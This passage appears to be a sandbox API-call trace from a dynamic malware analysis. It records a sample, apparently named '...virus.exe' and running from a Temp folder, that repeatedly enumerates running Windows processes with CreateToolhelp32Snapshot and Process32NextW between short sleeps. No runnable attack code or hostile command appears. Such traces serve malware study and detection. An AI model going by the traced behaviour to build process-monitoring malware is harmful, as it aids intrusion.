cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.975] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0186.975] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0186.976] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0186.976] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0186.977] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.977] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.977] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.978] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.978] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.978] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0186.979] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.979] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.979] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0186.980] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0186.980] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0186.980] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0186.981] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0186.981] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.981] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0186.982] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0186.982] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0186.982] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0186.983] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0186.983] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0186.983] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0186.984] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0186.984] Process32NextW (in: hSnapshot=0x1fc, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0186.984] CloseHandle (hObject=0x1fc) returned 1 [0186.985] Sleep (dwMilliseconds=0x1f4) [0187.580] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0187.584] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.585] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0187.585] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0187.586] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.586] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0187.587] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.587] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0187.588] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0187.588] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0187.589] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0187.589] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.589] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.590] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.591] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.591] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.592] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0187.592] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.594] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.594] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0187.595] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0187.595] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0187.596] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0187.596] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0187.597] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.597] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0187.598] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0187.598] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0187.598] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x59c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0187.599] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0187.599] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0187.600] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0187.601] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0187.601] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0187.601] Process32NextW (in: hSnapshot=0x1f4, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0187.602] CloseHandle (hObject=0x1f4) returned 1 [0187.602] Sleep (dwMilliseconds=0x1f4) [0188.177] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0188.181] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.182] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0188.182] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0188.183] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.184] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0188.184] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0188.185] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0188.186] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0188.186] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0188.187] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0188.188] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.188] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.189] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.190] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.191] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.191] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0188.192] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.192] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0188.193] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0188.193] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0188.194] Process32NextW (in: hSnapshot=0x1f8, lppe=0x51f924 | out: lppe=0x51f924*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, 